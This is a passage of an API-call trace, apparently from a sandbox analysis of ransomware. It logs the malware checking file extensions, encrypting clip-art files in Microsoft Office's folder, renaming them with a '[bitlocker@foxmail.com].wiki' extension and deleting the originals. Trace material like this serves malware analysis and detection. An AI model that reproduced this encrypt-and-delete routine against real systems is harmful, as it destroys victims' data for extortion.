(lpString=".jpg") returned 4 [0190.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.657] lstrlenW (lpString=".doc") returned 4 [0190.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString=".docx") returned 5 [0190.657] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.657] lstrlenW (lpString=".pdf") returned 4 [0190.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString=".xls") returned 4 [0190.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.657] lstrlenW (lpString=".xlsx") returned 5 [0190.657] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.657] lstrlenW (lpString=".ppt") returned 4 [0190.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.657] lstrlenW (lpString=".zip") returned 4 [0190.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.658] lstrlenW (lpString=".rar") returned 4 [0190.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.658] lstrlenW (lpString=".bz2") returned 4 [0190.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.658] lstrlenW (lpString=".7z") returned 3 [0190.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.658] lstrlenW (lpString=".dbf") returned 4 [0190.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.658] lstrlenW (lpString=".1cd") returned 4 [0190.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.658] lstrlenW (lpString=".jpg") returned 4 [0190.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.658] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.658] lstrlenW (lpString="J0090783.WMF") returned 12 [0190.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.659] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6934) returned 1 [0190.659] CloseHandle (hObject=0x1e4) returned 1 [0190.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0190.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.659] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.659] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.659] GetLastError () returned 0x0 [0190.659] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1b16, lpOverlapped=0x0) returned 1 [0190.689] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0190.690] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.690] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.690] SetEndOfFile (hFile=0x1d8) returned 1 [0190.690] CloseHandle (hObject=0x1d8) returned 1 [0190.690] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.690] SetEndOfFile (hFile=0x1e4) returned 1 [0190.691] CloseHandle (hObject=0x1e4) returned 1 [0190.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0190.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.691] lstrlenW (lpString=".doc") returned 4 [0190.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.691] lstrlenW (lpString=".docx") returned 5 [0190.691] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0190.691] lstrlenW (lpString=".pdf") returned 4 [0190.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.691] lstrlenW (lpString=".xls") returned 4 [0190.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.692] lstrlenW (lpString=".xlsx") returned 5 [0190.692] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0190.692] lstrlenW (lpString=".ppt") returned 4 [0190.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.692] lstrlenW (lpString=".zip") returned 4 [0190.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.692] lstrlenW (lpString=".rar") returned 4 [0190.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString=".bz2") returned 4 [0190.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString=".7z") returned 3 [0190.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.692] lstrlenW (lpString=".dbf") returned 4 [0190.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.692] lstrlenW (lpString=".1cd") returned 4 [0190.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.692] lstrlenW (lpString=".jpg") returned 4 [0190.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.692] lstrlenW (lpString=".doc") returned 4 [0190.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.692] lstrlenW (lpString=".docx") returned 5 [0190.692] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0190.693] lstrlenW (lpString=".pdf") returned 4 [0190.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.693] lstrlenW (lpString=".xls") returned 4 [0190.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.693] lstrlenW (lpString=".xlsx") returned 5 [0190.693] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0190.693] lstrlenW (lpString=".ppt") returned 4 [0190.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.693] lstrlenW (lpString=".zip") returned 4 [0190.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.693] lstrlenW (lpString=".rar") returned 4 [0190.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.693] lstrlenW (lpString=".bz2") returned 4 [0190.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.693] lstrlenW (lpString=".7z") returned 3 [0190.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.693] lstrlenW (lpString=".dbf") returned 4 [0190.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.693] lstrlenW (lpString=".1cd") returned 4 [0190.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0190.693] lstrlenW (lpString=".jpg") returned 4 [0190.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.693] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.694] lstrlenW (lpString="J0099146.WMF") returned 12 [0190.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.694] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16596) returned 1 [0190.694] CloseHandle (hObject=0x1e4) returned 1 [0190.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0190.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.694] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.694] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.695] GetLastError () returned 0x0 [0190.695] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x40d4, lpOverlapped=0x0) returned 1 [0190.869] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x40e0, lpOverlapped=0x0) returned 1 [0190.870] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.870] SetEndOfFile (hFile=0x1d8) returned 1 [0190.871] CloseHandle (hObject=0x1d8) returned 1 [0190.871] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.871] SetEndOfFile (hFile=0x1e4) returned 1 [0190.871] CloseHandle (hObject=0x1e4) returned 1 [0190.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.872] lstrlenW (lpString=".doc") returned 4 [0190.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.872] lstrlenW (lpString=".docx") returned 5 [0190.872] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0190.872] lstrlenW (lpString=".pdf") returned 4 [0190.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.872] lstrlenW (lpString=".xls") returned 4 [0190.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.872] lstrlenW (lpString=".xlsx") returned 5 [0190.872] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0190.872] lstrlenW (lpString=".ppt") returned 4 [0190.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.872] lstrlenW (lpString=".zip") returned 4 [0190.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.872] lstrlenW (lpString=".rar") returned 4 [0190.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.872] lstrlenW (lpString=".bz2") returned 4 [0190.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.872] lstrlenW (lpString=".7z") returned 3 [0190.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString=".dbf") returned 4 [0190.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString=".1cd") returned 4 [0190.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString=".jpg") returned 4 [0190.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString=".doc") returned 4 [0190.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString=".docx") returned 5 [0190.873] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0190.873] lstrlenW (lpString=".pdf") returned 4 [0190.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString=".xls") returned 4 [0190.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.873] lstrlenW (lpString=".xlsx") returned 5 [0190.873] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0190.873] lstrlenW (lpString=".ppt") returned 4 [0190.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString=".zip") returned 4 [0190.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.873] lstrlenW (lpString=".rar") returned 4 [0190.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString=".bz2") returned 4 [0190.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString=".7z") returned 3 [0190.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.873] lstrlenW (lpString=".dbf") returned 4 [0190.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.874] lstrlenW (lpString=".1cd") returned 4 [0190.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0190.874] lstrlenW (lpString=".jpg") returned 4 [0190.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.874] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.874] lstrlenW (lpString="J0099152.JPG") returned 12 [0190.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.874] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11694) returned 1 [0190.874] CloseHandle (hObject=0x1e4) returned 1 [0190.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0190.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.875] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.875] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.875] GetLastError () returned 0x0 [0190.875] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2dae, lpOverlapped=0x0) returned 1 [0190.898] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2db0, lpOverlapped=0x0) returned 1 [0190.899] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.899] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.899] SetEndOfFile (hFile=0x1d8) returned 1 [0190.899] CloseHandle (hObject=0x1d8) returned 1 [0190.899] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.899] SetEndOfFile (hFile=0x1e4) returned 1 [0190.900] CloseHandle (hObject=0x1e4) returned 1 [0190.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.901] lstrlenW (lpString=".doc") returned 4 [0190.901] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.901] lstrlenW (lpString=".docx") returned 5 [0190.901] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0190.901] lstrlenW (lpString=".pdf") returned 4 [0190.901] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.901] lstrlenW (lpString=".xls") returned 4 [0190.901] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.901] lstrlenW (lpString=".xlsx") returned 5 [0190.901] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0190.901] lstrlenW (lpString=".ppt") returned 4 [0190.901] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.901] lstrlenW (lpString=".zip") returned 4 [0190.901] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.901] lstrlenW (lpString=".rar") returned 4 [0190.901] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.901] lstrlenW (lpString=".bz2") returned 4 [0190.901] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.901] lstrlenW (lpString=".7z") returned 3 [0190.901] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.901] lstrlenW (lpString=".dbf") returned 4 [0190.901] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.901] lstrlenW (lpString=".1cd") returned 4 [0190.901] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.901] lstrlenW (lpString=".jpg") returned 4 [0190.901] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.902] lstrlenW (lpString=".doc") returned 4 [0190.902] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.902] lstrlenW (lpString=".docx") returned 5 [0190.902] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0190.902] lstrlenW (lpString=".pdf") returned 4 [0190.902] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.902] lstrlenW (lpString=".xls") returned 4 [0190.902] lstrcmpiW (lpString1=".xls", 